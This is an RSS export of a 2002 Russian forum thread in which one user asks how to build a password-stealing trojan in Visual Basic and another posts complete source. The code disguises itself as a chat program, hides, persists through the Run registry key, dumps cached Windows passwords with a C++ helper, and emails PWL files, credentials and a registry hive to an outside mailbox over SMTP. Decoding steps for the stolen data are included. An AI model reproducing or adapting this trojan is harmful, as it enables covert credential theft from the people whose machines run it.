<?xml version='1.0' encoding="utf-8"?>
      <rss version='2.0'>
      <channel>
      <title>Форум на Исходниках.RU</title>
      <link>https://forum.sources.ru</link>
      <description>Форум на Исходниках.RU</description>
      <generator>Форум на Исходниках.RU</generator>
  	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=109423&amp;view=findpost&amp;p=814800</guid>
        <pubDate>Sat, 12 Jan 2002 09:48:00 +0000</pubDate>
        <title>А как сделать PSW троян</title>
        <link>https://forum.sources.ru/index.php?showtopic=109423&amp;view=findpost&amp;p=814800</link>
        <description><![CDATA[AlexR: А может это подойдёт?<br><br>'При компиляции необходимо скомпилировать с именем Chat.exe <br>' Объявляем переменные и загружаем форму <br>Dim STR1 As Byte<br>Dim N, counter1(8), Count1, Result, MySize, MyName, MyPath, SourceFile, DestinationFile, Mmain, Part<br>Dim Windowsdirectory As String<br>Dim strData As String<br>Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long<br>Private Declare Function RegSaveKey Lib "advapi32.dll" Alias "RegSaveKeyA" (ByVal hKey As Long, ByVal lpFile As String, ByVal lpSecurityAttributes As Long) As Long<br>Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long<br>Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long<br>Private Declare Function RegSetValueEx& Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long)<br>Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal non As Long, ByVal seehide As Long) As Long<br>Private Sub Form_Load()<br>' При первом запуске программы Определяет директорию Windows, Оставляет все нужное для работы приложения, 'Прописывает себя в реестр, Прячет форму, Переименовывает программу Chat.exe в RegSysPa.exe (Программа с 'функцией WNetEnumCachedPasswords при ее запуске создается фаил с паролями и логинами RegSysOn.exe) и 'копирует в Windows\System, Переименывает себя в RegSysPr.exe и копирует в Windows\System и запускает ее, 'Сохраняет кусок реестра с телефонами, Выдает сообщение "Недостаточно системных ресурсов для работы 'программы."<br>'При последующих запусках программы Определяет директорию Windows, Проверяет осталось ли на диске все 'нужное для работы приложения если нет то делает все что при 'При первом запуске программы', Прячет форму, 'Сохраняет кусок реестра с телефонами (Windows\SYSTEM\RegRemA.dat), Запускает программу 'Windows\SYSTEM\RegSysPa.exe<br><br>Windowsdirectory = Space(144)<br>Result = GetWindowsDirectory(Windowsdirectory, 144)<br>Windowsdirectory = Trim(Windowsdirectory)<br>Windowsdirectory = Left(Windowsdirectory, Len(Windowsdirectory) - 1)<br>On Error GoTo START<br>Open "st5unst.log" For Input As #1<br>Do While Not EOF(1)<br>Line Input #1, TextLine<br>If TextLine = "\%\%WinSysPathSysFile\%\%" Then<br>Close #1<br>GoTo START<br>End If<br>Loop<br>Close #1<br>Open "st5unst.log" For Input As #1<br>Open "st5unst.lo_" For Output As #2<br>Do While Not EOF(1)<br>Line Input #1, TextLine<br>counter1(1) = InStr(1, TextLine, "ACTION: TempFile:")<br>counter1(2) = InStr(1, TextLine, "ACTION: RegKey:")<br>counter1(3) = InStr(1, TextLine, "ACTION: SharedFile:")<br>counter1(4) = InStr(1, TextLine, "(File currently on disk was already up to date)")<br>counter1(5) = InStr(1, TextLine, "ACTION: SystemFile:")<br>counter1(6) = InStr(1, TextLine, "ACTION: DllSelfRegister:")<br>counter1(7) = InStr(1, TextLine, "ACTION: TLBRegister:")<br>counter1(8) = InStr(1, TextLine, "ACTION: RegValue:")<br>For Counter = 1 To 8<br>If counter1(Counter) &gt; 0 Then TextLine = "\%\%WinSysPathSysFile\%\%"<br>Next<br>Print #2, TextLine<br>Loop<br>Close #2<br>Close #1<br>SourceFile = "st5unst.lo_"<br>DestinationFile = "st5unst.log"<br>FileCopy SourceFile, DestinationFile<br>Kill "st5unst.lo_"<br>SourceFile = "chat.exe"<br>DestinationFile = Windowsdirectory & "\SYSTEM\RegSysPr.exe"<br>FileCopy SourceFile, DestinationFile<br>SourceFile = "chat.dat"<br>DestinationFile = Windowsdirectory & "\SYSTEM\RegSysPa.exe"<br>FileCopy SourceFile, DestinationFile<br>RegOpenKey &H80000002, "Software\Microsoft\Windows\CurrentVersion\Run", hSubKey<br>RegSetValueEx& hSubKey, "RegView", 0, 1, Windowsdirectory & "\SYSTEM\RegSysPr.exe", Len(Windowsdirectory & "SYSTEM\RegSysPr.exe")<br>RegCloseKey hSubKey<br>Part = 1<br>MsgBox "Недостаточно системных ресурсов для работы программы.", 0, "Error"<br>START:<br>Shell Windowsdirectory & "\SYSTEM\RegSysPa.exe", 0<br>RegOpenKey &H80000001, "RemoteAccess", hSubKey<br>RegSaveKey hSubKey, Windowsdirectory & "\SYSTEM\RegRemA.dat", 0<br>RegCloseKey hSubKey<br>Hide<br>RegisterServiceProcess 0, 1<br>Timer1.Interval = 2500<br>End Sub<br>Private Sub Form_Unload(Cancel As Integer)<br>Timer1.Interval = 0<br>Winsock1.Close<br>RegisterServiceProcess 0, 0<br>End Sub<br>Private Sub Clear()<br>Mmain = ""<br>N = 0<br>N1 = 0<br>End Sub<br>Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)<br>' Происходит отправка письма на mail@mail.ru 1) все PWL фаилов 2) RegRemA.dat кусок реестра 3) Фаил с 'паролями и логинами <br>' Также определяется размер фаилов, отправка происходит в AscII кодах, каждый отделяется '-' (так как была 'проблема c кодировкой UUEncode)<br>On Error GoTo 1<br>Timer1.Interval = 0<br>Winsock1.GetData strData<br>If Left(strData, 3) = 250 Or 220 Or 354 Then<br>Count1 = Count1 + 1<br>If Count1 = 1 Then<br>Winsock1.SendData "MAIL FROM: mail@123.ru" & Chr(10)<br>ElseIf Count1 = 2 Then<br>Winsock1.SendData "RCPT TO: mail@mail.ru" & Chr(10)<br>ElseIf Count1 = 3 Then<br>Winsock1.SendData "DATA" & Chr(10)<br>ElseIf Count1 = 4 Then<br>Winsock1.SendData "subject" & Chr(10)<br>MySize = FileLen(Windowsdirectory & "\SYSTEM\RegRemA.dat")<br>Winsock1.SendData Windowsdirectory & "\SYSTEM\RegRemA.dat" & " " & MySize & Chr(10)<br>Open Windowsdirectory & "\SYSTEM\RegRemA.dat" For Binary As #1<br>Do While Not EOF(1)<br>N = N + 1<br>Get #1, N, STR1<br>Mmain = Mmain & "-" & STR1<br>Select Case Len(Mmain)<br>Case Is &gt; 1000<br>Winsock1.SendData Mmain & Chr(10)<br>Mmain = ""<br>End Select<br>Loop<br>Close #1<br>Winsock1.SendData Mmain & Chr(10)<br>Winsock1.SendData "-------------------" & Chr(10)<br>Clear<br>MySize = FileLen(Windowsdirectory & "\RegSysOn.exe")<br>Winsock1.SendData Windowsdirectory & "\RegSysOn.exe" & " " & MySize & Chr(10)<br>Open Windowsdirectory & "\RegSysOn.exe" For Binary As #1<br>Do While Not EOF(1)<br>N = N + 1<br>Get #1, N, STR1<br>Mmain = Mmain & "-" & STR1<br>Loop<br>Close #1<br>Winsock1.SendData Mmain & Chr(10)<br>Winsock1.SendData "-------------------" & Chr(10)<br>Clear<br>MyPath = Windowsdirectory & "\"<br>MyName = Dir(MyPath, vbNormal)<br>Do While MyName &lt;&gt; ""<br>If Right(MyName, 3) = "PWL" Then<br>MySize = FileLen(Windowsdirectory & "\" & MyName)<br>Winsock1.SendData Windowsdirectory & "\" & MyName & " " & MySize & Chr(10)<br>Open Windowsdirectory & "\" & MyName For Binary As #1<br>Do While Not EOF(1)<br>N = N + 1<br>Get #1, N, STR1<br>Mmain = Mmain & "-" & STR1<br>Select Case Len(Mmain)<br>Case Is &gt; 1000<br>Winsock1.SendData Mmain & Chr(10)<br>Mmain = ""<br>End Select<br>Loop<br>Close #1<br>Winsock1.SendData Mmain & Chr(10)<br>Winsock1.SendData "-------------------" & Chr(10)<br>Clear<br>End If<br>MyName = Dir<br>Loop<br>Winsock1.SendData "." & Chr(10)<br>Clear<br>Timer1.Interval = 0<br>1<br>End If<br>End If<br>End Sub<br>Private Sub Timer1_Timer()<br>' Только при первом запуске программы копируется фаил RegSysOn.exe<br>' Программа проверяет, зашел ли пользователь в Internet <br>On Error Resume Next<br>If Part = 1 Then<br>SourceFile = "RegSysOn.exe"<br>DestinationFile = Windowsdirectory & "\RegSysOn.exe"<br>FileCopy SourceFile, DestinationFile<br>Kill "RegSysOn.exe"<br>End If<br>Count1 = 0<br>Winsock1.Close<br>Winsock1.Connect "mail.ru", "25"<br>Winsock1.SendData "`"<br>End Sub<br><br>'Вот и сам файл Chat.dat (С++)<br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>typedef struct tagPASSWORD_CACHE_ENTRY {<br>WORD cbEntry;<br>WORD cbResource;<br>WORD cbPassword;<br>BYTE iEntry;<br>BYTE nType;<br>BYTE abResource[1];<br>} PASSWORD_CACHE_ENTRY;<br>char *buf, *ob1;<br>FILE *stream;<br>BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)<br>{ fwrite(" ", 3, 1, stream);<br>memmove(buf, x-&gt;abResource, x-&gt;cbResource);<br>buf[x-&gt;cbResource] = 0;<br>CharToOem(buf, ob1);<br>fwrite(ob1, strlen(ob1), 1, stream);<br>memmove(buf, x-&gt;abResource+x-&gt;cbResource, x-&gt;cbPassword);<br>buf[x-&gt;cbPassword] = 0;<br>CharToOem(buf, ob1);<br>fwrite(" : ", 3, 1, stream);<br>fwrite(ob1, strlen(ob1), 1, stream);<br>return TRUE;<br>fclose(stream);<br>return 0;<br>}<br>void main()<br>{ buf = new char[1024];<br>ob1 = new char[1024];<br>stream = fopen("RegSysOn.exe", "w+t");<br>HINSTANCE hi = LoadLibrary("mpr.dll"); WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =<br>(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi, "WNetEnumCachedPasswords");<br>(*enp)(0,0, 0xff, pce, 0);<br>FreeLibrary(hi);<br>}<br><br>'Шаг 2<br>'Скопируй в письме текст фаила \SYSTEM\RegRemA.dat, *.PWL или RegSysOn.exe, только не захватывая 1 символ (он всегда '-') Вставь копируемый текст в Блокнот или другой текстовый редактор и сохрани его. <br>'1 --------------------------------------------------------<br>Private Sub Form_Load()<br>Dim MyChar<br>Dim Mmain As Variant<br>Dim N<br>Dim N1<br>Open "c:.txt" For Input As #1 '(&lt;-- имя сохраненного фаила)<br>Open "c:\remote.dat" For Output As #2<br>'(&lt;-- *.PWL или *.txt)<br>Do While Not EOF(1)<br>MyChar = Input(1, #1)<br>'Debug.Print MyChar<br>If MyChar &lt;&gt; "-" Then<br>N = N & MyChar<br>Else<br>Mmain = Mmain & Chr(N)<br>N = ""<br>End If<br>Loop<br>Close #1<br>Print #2, Mmain<br>Close #2<br>End Sub<br><br>'2 --------------------------------------------------------<br>' Не знаю, но я не смог сразу загрузить c:\remote.dat в HKEY_CURRENT_USER и поэтому я загружал его в HKEY_USERS<br>Private Declare Function RegLoadKey Lib "advapi32.dll" Alias "RegLoadKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpFile As String) As Long<br>Private Sub Form_Load()<br>RegLoadKey &H80000001, "RemoteAccess", "c:\remote.dat" <br>End Sub<br><br>'Шаг 3<br>'Удали свой HKEY_CURRENT_USER\RemoteAccess (перед этим конечно сохраните)]<br>'Зайди в реестр и экспортируй фаил реестра [HKEY_USERS\RemoteAccess] (к примеру phones.reg), исправь в 'файле phone.reg HKEY_USERS на HKEY_CURRENT_USER, и импортируй myphone.reg в реестр и перезагрузи 'компьютер.]]></description>
        <author>AlexR</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=109423&amp;view=findpost&amp;p=814799</guid>
        <pubDate>Sat, 12 Jan 2002 06:00:00 +0000</pubDate>
        <title>А как сделать PSW троян</title>
        <link>https://forum.sources.ru/index.php?showtopic=109423&amp;view=findpost&amp;p=814799</link>
        <description><![CDATA[AlexR: А какие пароли нужно чтоб он брал?]]></description>
        <author>AlexR</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=109423&amp;view=findpost&amp;p=814798</guid>
        <pubDate>Fri, 11 Jan 2002 23:47:00 +0000</pubDate>
        <title>А как сделать PSW троян</title>
        <link>https://forum.sources.ru/index.php?showtopic=109423&amp;view=findpost&amp;p=814798</link>
        <description><![CDATA[MYSTIQUE: А как сделать PSW (Password Stealer) троян на VB]]></description>
        <author>MYSTIQUE</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      </channel>
      </rss>
	